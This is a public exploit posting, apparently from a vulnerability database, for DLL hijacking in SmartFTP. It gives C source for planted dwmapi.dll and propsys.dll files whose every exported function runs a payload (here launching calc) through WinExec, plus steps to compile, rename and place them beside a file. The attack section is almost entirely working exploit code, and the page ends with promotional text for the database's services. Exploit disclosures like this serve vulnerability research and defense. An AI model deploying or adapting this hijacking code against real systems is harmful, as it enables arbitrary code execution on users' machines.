`/*
#SmartFTP DLL Hijacking Exploit (dwmapi.dll ¡ propsys.dll )
#Author : anT!-Tr0J4n
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ All Dev-poinT members and my friends
#Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Software Link: http://www.smartftp.com
#Tested on: Windows XP sp3
# Home : www.Dev-PoinT.com
--------------------------
How TO use : Compile and rename to dwmapi.dll ¡ propsys.dll , create a file in the same dir with one of the following extensions.
check the result
-------------------------
#dwmapi.dll (code)
==============
*/
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void DwmDefWindowProc() { evil(); }
DLLIMPORT void DwmEnableBlurBehindWindow() { evil(); }
DLLIMPORT void DwmEnableComposition() { evil(); }
DLLIMPORT void DwmEnableMMCSS() { evil(); }
DLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); }
DLLIMPORT void DwmGetColorizationColor() { evil(); }
DLLIMPORT void DwmGetCompositionTimingInfo() { evil(); }
DLLIMPORT void DwmGetWindowAttribute() { evil(); }
DLLIMPORT void DwmIsCompositionEnabled() { evil(); }
DLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); }
DLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); }
DLLIMPORT void DwmRegisterThumbnail() { evil(); }
DLLIMPORT void DwmSetDxFrameDuration() { evil(); }
DLLIMPORT void DwmSetPresentParameters() { evil(); }
DLLIMPORT void DwmSetWindowAttribute() { evil(); }
DLLIMPORT void DwmUnregisterThumbnail() { evil(); }
DLLIMPORT void DwmUpdateThumbnailProperties() { evil(); }
int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}
=============
propsys.dll (code)
=============
*/
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)
DLLIMPORT void InitPropVariantFromBooleanVector() { evil(); }
DLLIMPORT void InitPropVariantFromCLSID() { evil(); }
DLLIMPORT void InitPropVariantFromDoubleVector() { evil(); }
DLLIMPORT void InitPropVariantFromFileTime() { evil(); }
DLLIMPORT void InitPropVariantFromFileTimeVector () { evil(); }
DLLIMPORT void InitPropVariantFromGUIDAsString() { evil(); }
DLLIMPORT void InitPropVariantFromInt16Vector() { evil(); }
DLLIMPORT void InitPropVariantFromInt32Vector() { evil(); }
DLLIMPORT void InitPropVariantFromInt64Vector() { evil(); }
DLLIMPORT void InitPropVariantFromPropVariantVectorElem() { evil(); }
DLLIMPORT void InitPropVariantFromResource() { evil(); }
DLLIMPORT void InitPropVariantFromStrRet() { evil(); }
DLLIMPORT void InitPropVariantFromStringAsVector() { evil(); }
DLLIMPORT void InitPropVariantFromStringVector() { evil(); }
DLLIMPORT void InitPropVariantFromUInt16Vector() { evil(); }
DLLIMPORT void InitPropVariantFromUInt32Vector() { evil(); }
DLLIMPORT void InitPropVariantFromUInt64Vector() { evil(); }
DLLIMPORT void InitPropVariantVectorFromPropVariant() { evil(); }
DLLIMPORT void InitVariantFromBooleanArray() { evil(); }
DLLIMPORT void InitVariantFromBuffer() { evil(); }
DLLIMPORT void InitVariantFromDoubleArray() { evil(); }
DLLIMPORT void InitVariantFromFileTime() { evil(); }
DLLIMPORT void InitVariantFromFileTimeArray() { evil(); }
DLLIMPORT void InitVariantFromGUIDAsString() { evil(); }
DLLIMPORT void InitVariantFromInt16Array() { evil(); }
DLLIMPORT void InitVariantFromInt32Array() { evil(); }
DLLIMPORT void InitVariantFromInt64Array() { evil(); }
DLLIMPORT void InitVariantFromResource() { evil(); }
DLLIMPORT void InitVariantFromStrRet() { evil(); }
DLLIMPORT void InitVariantFromStringArray() { evil(); }
DLLIMPORT void InitVariantFromUInt16Array() { evil(); }
DLLIMPORT void InitVariantFromUInt32Array() { evil(); }
DLLIMPORT void InitVariantFromUInt64Array() { evil(); }
DLLIMPORT void InitVariantFromVariantArrayElem() { evil(); }
int evil()
{
WinExec("calc", 0);
exit(0);
return 0;
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation